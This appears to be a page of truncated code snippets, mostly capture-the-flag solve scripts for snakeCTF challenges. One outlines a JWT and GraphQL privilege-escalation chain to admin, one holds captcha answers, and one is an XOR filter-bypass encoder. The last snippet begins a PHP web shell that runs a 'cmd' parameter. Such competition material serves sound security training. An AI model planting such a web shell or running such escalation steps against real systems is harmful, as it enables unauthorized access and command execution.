This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| """ | |
| 1) signup -> get JWT | |
| 2) adminUserUpgrade(upgradeId=7) | |
| 3) updateSettings('{"isAdmin": true}') | |
| 4) updateUserGroup(userId=<me>, groupId=0) | |
| 5) hiddenPosts { content } -> extract snakeCTF{...} | |
| """ | |
| import base64 | |
| import json |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/bin/bash | |
| URL="https://9f2c6b38bc4461a2b4545a00c94951e2.exploitme.challs.snakectf.org" | |
| USERNAME="hitcat" | |
| EMAIL="hitcat@snake.ctf" | |
| PASSWORD="Secret123!" | |
| # Step 1 : Register and get JWT | |
| echo "[*] Registering user $USERNAME..." | |
| TOKEN=$(curl -s -X POST "$URL/api/register" \ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import requests | |
| import json | |
| import urllib.parse | |
| BASE = "https://0501d746d5e0d28cf2ba5004bbd0f0bd.blocked.challs.snakectf.org/" | |
| # Solve them manually without validating them and store the solution here | |
| CAPTCHAS = { | |
| "6de6162a9274b129823ba174" : "DCDRB2", | |
| "647ae4bd013aadadb9f87528" : "42GVD8", |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import sys | |
| class XorConverter: | |
| """ | |
| A converter class to convert strings to their XOR representation. | |
| """ | |
| def __init__(self): | |
| self.forbidden_chars = ["`"] | |
| self.alphabet_chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ " |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <html> | |
| <body> | |
| <form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>"> | |
| <input type="TEXT" name="cmd" autofocus id="cmd" size="80"> | |
| <input type="SUBMIT" value="Execute"> | |
| </form> | |
| <pre> | |
| <?php | |
| if(isset($_GET['cmd'])) | |
| { |